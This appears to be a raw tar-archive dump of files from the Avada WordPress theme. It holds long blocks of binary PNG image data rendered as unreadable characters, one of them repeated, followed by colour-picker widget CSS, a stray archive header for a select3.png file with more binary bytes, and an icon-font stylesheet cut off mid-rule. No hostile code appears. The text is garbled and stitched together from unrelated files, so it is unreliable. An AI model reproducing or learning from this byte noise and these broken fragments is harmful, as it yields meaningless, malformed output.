){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?sn~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s) */ .sp-replacer { margin:0; overflow:hidden; cursor:pointer; padding: 4px; display:inline-block; *zoom: 1; *display: inline; border: solid 1px #91765d; background: #eee; color: #333; vertical-align: middle; } .sp-replacer:hover, .sp-replacer.sp-active { border-color: #F0C49B; color: #111; } .sp-replacer.sp-disabled { cursor:default; border-color: silver; color: silver; } .sp-dd { padding: 2px 0; height: 16px; line-height: 16px; float:left; font-size:10px; } .sp-preview { position:relative; width:25px; height: 20px; border: solid 1px #222; margin-right: 5px; float:left; z-index: 0; } .sp-palette { *width: 220px; max-width: 220px; } .sp-palette .sp-thumb-el { width:16px; height: 16px; margin:2px 1px; border: solid 1px #d0d0d0; } .sp-container { padding-bottom:0; } /* Buttons: http://hellohappy.org/css3-buttons/ */ .sp-container button { background-color: #eeeeee; background-image: -webkit-linear-gradient(top, #eeeeee, #cccccc); background-image: -moz-linear-gradient(top, #eeeeee, #cccccc); background-image: -ms-linear-gradient(top, #eeeeee, #cccccc); background-image: -o-linear-gradient(top, #eeeeee, #cccccc); background-image: linear-gradient(to bottom, #eeeeee, #cccccc); border: 1px solid #ccc; border-bottom: 1px solid #bbb; border-radius: 3px; color: #333; font-size: 14px; line-height: 1; padding: 5px 4px; text-align: center; text-shadow: 0 1px 0 #eee; vertical-align: middle; } .sp-container button:hover { background-color: #dddddd; background-image: -webkit-linear-gradient(top, #dddddd, #bbbbbb); background-image: -moz-linear-gradient(top, #dddddd, #bbbbbb); background-image: -ms-linear-gradient(top, #dddddd, #bbbbbb); background-image: -o-linear-gradient(top, #dddddd, #bbbbbb); background-image: linear-gradient(to bottom, #dddddd, #bbbbbb); border: 1px solid #bbb; border-bottom: 1px solid #999; cursor: pointer; text-shadow: 0 1px 0 #ddd; } .sp-container button:active { border: 1px solid #aaa; border-bottom: 1px solid #888; -webkit-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; -moz-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; -ms-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; -o-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; } .sp-cancel { font-size: 11px; color: #d93f3f !important; margin:0; padding:2px; margin-right: 5px; vertical-align: middle; text-decoration:none; } .sp-cancel:hover { color: #d93f3f !important; text-decoration: underline; } .sp-palette span:hover, .sp-palette span.sp-thumb-active { border-color: #000; } .sp-preview, .sp-alpha, .sp-thumb-el { position:relative; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==); } .sp-preview-inner, .sp-alpha-inner, .sp-thumb-inner { display:block; position:absolute; top:0;left:0;bottom:0;right:0; } .sp-palette .sp-thumb-inner { background-position: 50% 50%; background-repeat: no-repeat; } .sp-palette .sp-thumb-light.sp-thumb-active .sp-thumb-inner { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAIVJREFUeNpiYBhsgJFMffxAXABlN5JruT4Q3wfi/0DsT64h8UD8HmpIPCWG/KemIfOJCUB+Aoacx6EGBZyHBqI+WsDCwuQ9mhxeg2A210Ntfo8klk9sOMijaURm7yc1UP2RNCMbKE9ODK1HM6iegYLkfx8pligC9lCD7KmRof0ZhjQACDAAceovrtpVBRkAAAAASUVORK5CYII=); } .sp-palette .sp-thumb-dark.sp-thumb-active .sp-thumb-inner { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAMdJREFUOE+tkgsNwzAMRMugEAahEAahEAZhEAqlEAZhEAohEAYh81X2dIm8fKpEspLGvudPOsUYpxE2BIJCroJmEW9qJ+MKaBFhEMNabSy9oIcIPwrB+afvAUFoK4H0tMaQ3XtlrggDhOVVMuT4E5MMG0FBbCEYzjYT7OxLEvIHQLY2zWwQ3D+9luyOQTfKDiFD3iUIfPk8VqrKjgAiSfGFPecrg6HN6m/iBcwiDAo7WiBeawa+Kwh7tZoSCGLMqwlSAzVDhoK+6vH4G0P5wdkAAAAASUVORK5CYII=); } .sp-clear-display { background-repeat:no-repeat; background-position: center; background-image: url(data:image/gif;base64,R0lGODlhFAAUAPcAAAAAAJmZmZ2dnZ6enqKioqOjo6SkpKWlpaampqenp6ioqKmpqaqqqqurq/Hx8fLy8vT09PX19ff39/j4+Pn5+fr6+vv7+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAUABQAAAihAP9FoPCvoMGDBy08+EdhQAIJCCMybCDAAYUEARBAlFiQQoMABQhKUJBxY0SPICEYHBnggEmDKAuoPMjS5cGYMxHW3IiT478JJA8M/CjTZ0GgLRekNGpwAsYABHIypcAgQMsITDtWJYBR6NSqMico9cqR6tKfY7GeBCuVwlipDNmefAtTrkSzB1RaIAoXodsABiZAEFB06gIBWC1mLVgBa0AAOw==); } Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/select3.png000064400000001145152342437710024565 0ustar00PNG  IHDR<(,IDATxKaJ.b]*(Ɉvd <P!RqTСH#GyRدHt0L>9,m)yuم};)IJ,Q(XV &OhF! { n{,%]אGc5x >@3 &2 %C,bE؀u9=T67)E " loy[eCÚ & Dm# QȼŪj ބv@ TeMܽ;G9b}1̟ǾT: hC f li{position:relative}.el-li{position:absolute;left:-2.1428571429em;width:2.1428571429em;top:.1428571429em;text-align:center}.el-li.el-lg{left:-1.8571428571em}.el-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.pull-right{float:right}.pull-left{float:left}.el.pull-left{margin-right:.3em}.el.pull-right{margin-left:.3em}.el-spin{-webkit-animation:el-spin 2s infinite linear;animation:el-spin 2s infinite linear}.el-pulse{-webkit-animation:el-spin 1s infinite steps(8);animation:el-spin 1s infinite steps(8)}@-webkit-keyframes el-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes el-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.el-rotate-90{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.el-rotate-180{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.el-rotate-270{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=3);-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.el-flip-horizontal{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=0);-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.el-flip-vertical{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .el-rotate-90,:root .el-rotate-180,:root .el-rotate-270,:root .el-flip-horizontal,:root .el-flip-vertical{filter:none}.el-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.el-stack-1x,.el-stack-2x{position:absolute;left:0;width:100%;text-align:center}.el-stack-1x{line-height:inherit}.el-stack-2x{font-size:2em}.el-inverse{color:#fff}.el-icon-address-book-alt:before,.el-address-book-alt:before{content:""}.el-icon-address-book:before,.el-address-book:before{content:""}.el-icon-adjust-alt:before,.el-adjust-alt:before{content:""}.el-icon-adjust:before,.el-adjust:before{content:""}.el-icon-adult:before,.el-adult:before{content:""}.el-icon-align-center:before,.el-align-center:before{content:""}.el-icon-align-justify:before,.el-align-justify:before{content:""}.el-icon-align-left:before,.el-align-left:before{content:""}.el-icon-align-right:before,.el-align-right:before{content:""}.el-icon-arrow-down:before,.el-arrow-down:before{content:""}.el-icon-arrow-left:before,.el-arrow-left:before{content:""}.el-icon-arrow-right:before,.el-arrow-right:before{content:""}.el-icon-arrow-up:before,.el-arrow-up:before{content:""}.el-icon-asl:before,.el-asl:before{content:""}.el-icon-asterisk:before,.el-asterisk:before{content:""}.el-icon-backward:before,.el-backward:before{content:""}.el-icon-ban-circle:before,.el-ban-circle:before{content:""}.el-icon-barcode:before,.el-barcode:before{content:""}.el-icon-behance:before,.el-behance:before{content:""}.el-icon-bell:before,.el-bell:before{content:""}.el-icon-blind:before,.el-blind:before{content:""}.el-icon-blogger:before,.el-blogger:before{content:""}.el-icon-bold:before,.el-bold:before{content:""}.el-icon-book:before,.el-book:before{content:""}.el-icon-bookmark-empty:before,.el-bookmark-empty:before{content:""}.el-icon-bookmark:before,.el-bookmark:before{content:""}.el-icon-brackets:before,.el-brackets:before{content:""}.el-icon-braille:before,.el-braille:before{content:""}.el-icon-briefcase:before,.el-briefcase:before{content:""}.el-icon-broom:before,.el-broom:before{content:""}.el-icon-brush:before,.el-brush:before{content:""}.el-icon-bulb:before,.el-bulb:before{content:""}.el-icon-bullhorn:before,.el-bullhorn:before{content:""}.el-icon-calendar-sign:before,.el-calendar-sign:before{content:""}.el-icon-calendar:before,.el-calendar:before{content:""}.el-icon-camera:before,.el-camera:before{content:""}.el-icon-car:before,.el-car:before{content:""}.el-icon-caret-down:before,.el-caret-down:before{content:""}.el-icon-caret-left:before,.el-caret-left:before{content:""}.el-icon-caret-right:before,.el-caret-right:before{content:""}.el-icon-caret-up:before,.el-caret-up:before{content:""}.el-icon-cc:before,.el-cc:before{content:""}.el-icon-certificate:before,.el-certificate:before{content:""}.el-icon-check-empty:before,.el-check-empty:before{content:""}.el-icon-check:before,.el-check:before{content:""}.el-icon-chevron-down:before,.el-chevron-down:before{content:""}.el-icon-chevron-left:before,.el-chevron-left:before{content:""}.el-icon-chevron-right:before,.el-chevron-right:before{content:""}.el-icon-chevron-up:before,.el-chevron-up:before{content:""}.el-icon-child:before,.el-child:before{content:""}.el-icon-circle-arrow-down:before,.el-circle-arrow-down:before{content:""}.el-icon-circle-arrow-left:before,.el-circle-arrow-left:before{content:""}.el-icon-circle-arrow-right:before,.el-circle-arrow-right:before{content:""}.el-icon-circle-arrow-up:before,.el-circle-arrow-up:before{content:""}.el-icon-cloud-alt:before,.el-cloud-alt:before{content:""}.el-icon-cloud:before,.el-cloud:before{content:""}.el-icon-cog-alt:before,.el-cog-alt:before{content:""}.el-icon-cog:before,.el-cog:before{content:""}.el-icon-cogs:before,.el-cogs:before{content:""}.el-icon-comment-alt:before,.el-comment-alt:before{content:""}.el-icon-comment:before,.el-comment:before{content:""}.el-icon-compass-alt:before,.el-compass-alt:before{content:""}.el-icon-compass:before,.el-compass:before{content:""}.el-icon-credit-card:before,.el-credit-card:before{content:""}.el-icon-css:before,.el-css:before{content:""}.el-icon-dashboard:before,.el-dashboard:before{content:""}.el-icon-delicious:before,.el-delicious:before{content:""}.el-icon-deviantart:before,.el-deviantart:before{content:""}.el-icon-digg:before,.el-digg:before{content:""}.el-icon-download-alt:before,.el-download-alt:before{content:""}.el-icon-download:before,.el-download:before{content:""}.el-icon-dribbble:before,.el-dribbble:before{content:""}.el-icon-edit:before,.el-edit:before{content:""}.el-icon-eject:before,.el-eject:before{content:""}.el-icon-envelope-alt:before,.el-envelope-alt:before{content:""}.el-icon-envelope:before,.el-envelope:before{content:""}.el-icon-error-alt:before,.el-error-alt:before{content:""}.el-icon-error:before,.el-error:before{content:""}.el-icon-eur:before,.el-eur:before{content:""}.el-icon-exclamation-sign:before,.el-exclamation-sign:before{content:""}.el-icon-eye-close:before,.el-eye-close:before{content:""}.el-icon-eye-open:before,.el-eye-open:before{content:""}.el-icon-facebook:before,.el-facebook:before{content:""}.el-icon-facetime-video:before,.el-facetime-video:before{content:""}.el-icon-fast-backward:before,.el-fast-backward:before{content:""}.el-icon-fast-forward:before,.el-fast-forward:before{content:""}.el-icon-female:before,.el-female:before{content:""}.el-icon-file-alt:before,.el-file-alt:before{content:""}.el-icon-file-edit-alt:before,.el-file-edit-alt:before{content:""}.el-icon-file-edit:before,.el-file-edit:before{content:""}.el-icon-file-new-alt:before,.el-file-new-alt:before{content:""}.el-icon-file-new:before,.el-file-new:before{content:""}.el-icon-file:before,.el-file:before{content:""}.el-icon-film:before,.el-film:before{content:""}.el-icon-filter:before,.el-filter:before{content:""}.el-icon-fire:before,.el-fire:before{content:""}.el-icon-flag-alt:before,.el-flag-alt:before{content:""}.el-icon-flag:before,.el-flag:before{content:""}.el-icon-flickr:before,.el-flickr:before{content:""}.el-icon-folder-close:before,.el-folder-close:before{content:""}.el-icon-folder-open:before,.el-folder-open:before{content:""}.el-icon-folder-sign:before,.el-folder-sign:before{content:""}.el-icon-folder:before,.el-folder:before{content:""}.el-icon-font:before,.el-font:before{content:""}.el-icon-fontsize:before,.el-fontsize:before{content:""}.el-icon-fork:before,.el-fork:before{content:""}.el-icon-forward-alt:before,.el-forward-alt:before{content:""}.el-icon-forward:before,.el-forward:before{content:""}.el-icon-foursquare:before,.el-foursquare:before{content:""}.el-icon-friendfeed-rect:before,.el-friendfeed-rect:before{content:""}.el-icon-friendfeed:before,.el-friendfeed:before{content:""}.el-icon-fullscreen:before,.el-fullscreen:before{content:""}.el-icon-gallery:before,.el-gallery:before{content:""}.el-icon-gbp:before,.el-gbp:before{content:""}.el-icon-gift:before,.el-gift:before{content:""}.el-icon-github-text:before,.el-github-text:before{content:""}.el-icon-github:before,.el-github:before{content:""}.el-icon-glass:before,.el-glass:before{content:""}.el-icon-glasses:before,.el-glasses:before{content:""}.el-icon-globe-alt:before,.el-globe-alt:before{content:""}.el-icon-globe:before,.el-globe:before{content:""}.el-icon-googleplus:before,.el-googleplus:before{content:""}.el-icon-graph-alt:before,.el-graph-alt:before{content:""}.el-icon-graph:before,.el-graph:before{content:""}.el-icon-group-alt:before,.el-group-alt:before{content:""}.el-icon-group:before,.el-group:before{content:""}.el-icon-guidedog:before,.el-guidedog:before{content:""}.el-icon-hand-down:before,.el-hand-down:before{content:""}.el-icon-hand-left:before,.el-hand-left:before{content:""}.el-icon-hand-right:before,.el-hand-right:before{content:""}.el-icon-hand-up:before,.el-hand-up:before{content:""}.el-icon-hdd:before,.el-hdd:before{content:""}.el-icon-headphones:before,.el-headphones:before{content:""}.el-icon-hearing-impaired:before,.el-hearing-impaired:before{content:""}.el-icon-heart-alt:before,.el-heart-alt:before{content:""}.el-icon-heart-empty:before,.el-heart-empty:before{content:""}.el-icon-heart:before,.el-heart:before{content:""}.el-icon-home-alt:before,.el-home-alt:before{content:""}.el-icon-home:before,.el-home:before{content:""}.el-icon-hourglass:before,.el-hourglass:before{content:""}.el-icon-idea-alt:before,.el-idea-alt:before{content:""}.el-icon-idea:before,.el-idea:before{content:""}.el-icon-inbox-alt:before,.el-inbox-alt:before{content:""}.el-icon-inbox-box:before,.el-inbox-box:before{content:""}.el-icon-inbox:before,.el-inbox:before{content:""}.el-icon-indent-left:before,.el-indent-left:before{content:""}.el-icon-indent-right:before,.el-indent-right:before{content:""}.el-icon-info-circle:before,.el-info-circle:before{content:""}.el-icon-instagram:before,.el-instagram:before{content:""}.el-icon-iphone-home:before,.el-iphone-home:before{content:""}.el-icon-italic:before,.el-italic:before{content:""}.el-icon-key:before,.el-key:before{content:""}.el-icon-laptop-alt:before,.el-laptop-alt:before{content:""}.el-icon-laptop:before,.el-laptop:before{content:""}.el-icon-lastfm:before,.el-lastfm:before{content:""}.el-icon-leaf:before,.el-leaf:before{content:""}.el-icon-lines:before,.el-lines:before{content:""}.el-icon-link:before,.el-link:before{content:""}.el-icon-linkedin:before,.el-linkedin:before{content:""}.el-icon-list-alt:before,.el-list-alt:before{content:""}.el-icon-list:before,.el-list:before{content:""}.el-icon-livejournal:before,.el-livejournal:before{content:""}.el-icon-lock-alt:before,.el-lock-alt:before{content:""}.el-icon-lock:before,.el-lock:before{content:""}.el-icon-magic:before,.el-magic:before{content:""}.el-icon-magnet:before,.el-magnet:before{content:""}.el-icon-male:before,.el-male:before{content:""}.el-icon-map-marker-alt:before,.el-map-marker-alt:before{content:""}.el-icon-map-marker:before,.el-map-marker:before{content:""}.el-icon-mic-alt:before,.el-mic-alt:before{content:""}.el-icon-mic:before,.el-mic:before{content:""}.el-icon-minus-sign:before,.el-minus-sign:before{content:""}.el-icon-minus:before,.el-minus:before{content:""}.el-icon-move:before,.el-move:before{content:""}.el-icon-music:before,.el-music:before{content:""}.el-icon-myspace:before,.el-myspace:before{content:""}.el-icon-network:before,.el-network:before{content:""}.el-icon-off:before,.el-off:before{content:""}.el-icon-ok-circle:before,.el-ok-circle:before{content:""}.el-icon-ok-sign:before,.el-ok-sign:before{content:""}.el-icon-ok:before,.el-ok:before{content:""}.el-icon-opensource:before,.el-opensource:before{content:""}.el-icon-paper-clip-alt:before,.el-paper-clip-alt:before{content:""}.el-icon-paper-clip:before,.el-paper-clip:before{content:""}.el-icon-path:before,.el-path:before{content:""}.el-icon-pause-alt:before,.el-pause-alt:before{content:""}.el-icon-pause:before,.el-pause:before{content:""}.el-icon-pencil-alt:before,.el-pencil-alt:before{content:""}.el-icon-pencil:before,.el-pencil:before{content:""}.el-icon-person:before,.el-person:before{content:""}.el-icon-phone-alt:before,.el-phone-alt:before{content:""}.el-icon-phone:before,.el-phone:before{content:""}.el-icon-photo-alt:before,.el-photo-alt:before{content:""}.el-icon-photo:before,.el-photo:before{content:""}.el-icon-picasa:before,.el-picasa:before{content:""}.el-icon-picture:before,.el-picture:before{content:""}.el-icon-plane:before,.el-plane:before{content:""}.el-icon-play-alt:before,.el-play-alt:before{content:""}.el-icon-play-circle:before,.el-play-circle:before{content:""}.el-icon-play:before,.el-play:before{content:""}.el-icon-plurk-alt:before,.el-plurk-alt:before{content:""}.el-icon-plurk:before,.el-plurk:before{content:""}.el-icon-plus-sign:before,.el-plus-sign:before{content:""}.el-icon-plus:before,.el-plus:before{content:""}.el-icon-podcast:before,.el-podcast:before{content:""}.el-icon-print:before,.el-print:before{content:""}.el-icon-puzzle:before,.el-puzzle:before{content:""}.el-icon-qrcode:before,.el-qrcode:before{content:""}.el-icon-question-sign:before,.el-question-sign:before{content:""}.el-icon-question:before,.el-question:before{content:""}.el-icon-quote-alt:before,.el-quote-alt:before{content:""}.el-icon-quote-right-alt:before,.el-quote-right-alt:before{content:""}.el-icon-quote-right:before,.el-quote-right:before{content:""}.el-icon-quotes:before,.el-quotes:before{content:""}.el-icon-random:before,.el-random:before{content:""}.el-icon-record:before,.el-record:before{content:""}.el-icon-reddit:before,.el-reddit:before{content:""}.el-icon-fusionredux:before,.el-fusionredux:before{content:""}.el-icon-refresh:before,.el-refresh:before{content:""}.el-icon-remove-circle:before,.el-remove-circle:before{content:""}.el-icon-remove-sign:before,.el-remove-sign:before{content:""}.el-icon-remove:before,.el-remove:before{content:""}.el-icon-repeat-alt:before,.el-repeat-alt:before{content:""}.el-icon-repeat:before,.el-repeat:before{content:""}.el-icon-resize-full:before,.el-resize-full:before{content:""}.el-icon-resize-horizontal:before,.el-resize-horizontal:before{content:""}.el-icon-resize-small:before,.el-resize-small:before{content:""}.el-icon-resize-vertical:before,.el-resize-vertical:before{content:""}.el-icon-return-key:before,.el-return-key:before{content:""}.el-icon-retweet:before,.el-retweet:before{content:""}.el-icon-reverse-alt:before,.el-reverse-alt:before{content:""}.el-icon-road:before,.el-road:before{content:""}.el-icon-rss:before,.el-rss:before{content:""}.el-icon-scissors:before,.el-scissors:before{content:""}.el-icon-screen-alt:before,.el-screen-alt:before{content:""}.el-icon-screen:before,.el-screen:before{content:""}.el-icon-screenshot:before,.el-screenshot:before{content:""}.el-icon-search-alt:before,.el-search-alt:before{content:""}.el-icon-search:before,.el-search:before{content:""}.el-icon-share-alt:before,.el-share-alt:before{content:""}.el-icon-share:before,.el-share:before{content:""}.el-icon-shopping-cart-sign:before,.el-shopping-cart-sign:before{content:""}.el-icon-shopping-cart:before,.el-shopping-cart:before{content:""}.el-icon-shortcode:before,.el-shortcode:before{content:""}.el-icon-signal:before,.el-signal:before{content:""}.el-icon-skype:before,.el-skype:before{content:""}.el-icon-slideshare:before,.el-slideshare:before{content:""}.el-icon-smiley-alt:before,.el-smiley-alt:before{content:""}.el-icon-smiley:before,.el-smiley:before{content:""}.el-icon-soundcloud:before,.el-soundcloud:before{content:""}.el-icon-speaker:before,.el-speaker:before{content:""}.el-icon-spotify:before,.el-spotify:before{content:""}.el-icon-stackoverflow:before,.el-stackoverflow:before{content:""}.el-icon-star-alt:before,.el-star-alt:before{content:""}.el-icon-star-empty:before,.el-star-empty:before{content:""}.el-icon-star:before,.el-star:before{content:""}.el-icon-step-backward:before,.el-step-backward:before{content:""}.el-icon-step-forward:before,.el-step-forward:before{content:""}.el-icon-stop-alt:before,.el-stop-alt:before{content:""}.el-icon-stop:before,.el-stop:before{content:""}.el-icon-stumbleupon:before,.el-stumbleupon:before{content:""}.el-icon-tag:before,.el-tag:before{content:""}.el-icon-tags:before,.el-tags:before{content:""}.el-icon-tasks:before,.el-tasks:before{content:""}.el-icon-text-height:before,.el-text-height:before{content:""}.el-icon-text-width:before,.el-text-width:before{content:""}.el-icon-th-large:before,.el-th-large:before{content:""}.el-icon-th-list:before,.el-th-list:before{content:""}.el-icon-th:before,.el-th:before{content:""}.el-icon-thumbs-down:before,.el-thumbs-down:before{content:""}.el-icon-thumbs-up:before,.el-thumbs-up:before{content:""}.el-icon-time-alt:before,.el-time-alt:before{content:""}.el-icon-time:before,.el-time:before{content:""}.el-icon-tint:before,.el-tint:before{content:""}.el-icon-torso:before,.el-torso:before{content:""}.el-icon-trash-alt:before,.el-trash-alt:before{content:""}.el-icon-trash:before,.el-trash:before{content:""}.el-icon-tumblr:before,.el-tumblr:before{content:""}.el-icon-twitter:before,.el-twitter:before{content:""}.el-icon-universal-access:before,.el-universal-access:before{content:""}.el-icon-unlock-alt:before,.el-unlock-alt:before{content:""}.el-icon-unlock:before,.el-unlock:before{content:""}.el-icon-upload:before,.el-upload:before{content:""}.el-icon-usd:before,.el-usd:before{content:""}.el-icon-user:before,.el-user:before{content:""}.el-icon-viadeo:before,.el-viadeo:before{content:""}.el-icon-video-alt:before,.el-video-alt:before{content:""}.el-icon-video-chat:before,.el-video-chat:before{content:""}.el-icon-video:before,.el-video:before{content:""}.el-icon-view-mode:before,.el-view-mode:before{content:""}.el-icon-vimeo:before,.el-vimeo:before{content:""}.el-icon-vkontakte:before,.el-vkontakte:before{content:""}.el-icon-volume-down:before,.el-volume-down:before{content:""}.el-icon-volume-off:before,.el-volume-off:before{content:""}.el-icon-volume-up:before,.el-volume-up:before{content:""}.el-icon-w3c:before,.el-w3c:before{content:""}.el-icon-warning-sign:before,.el-war